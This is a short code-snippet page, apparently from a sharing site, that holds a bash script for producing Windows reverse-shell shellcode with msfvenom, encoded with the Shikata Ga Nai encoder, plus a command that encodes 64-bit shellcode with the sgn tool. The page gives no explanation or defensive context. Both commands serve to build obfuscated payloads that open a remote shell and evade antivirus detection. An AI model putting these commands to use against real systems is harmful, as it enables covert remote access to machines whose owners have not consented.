(bash) Shikata Ga Nai (SGN) by Dreamkinn

Created the Monday 03 July 2023. Updated 9 months, 2 weeks ago.

Code

            #!/bin/bash

# Generate SGN-encoded 32-bit shellcode using msfvenom
msfvenom -p windows/shell_reverse_tcp -e x86/shikata_ga_nai

# Generate 64-bit SGN-encoded shellcode using the sgn binary
sgn -a 64 shellcode.bin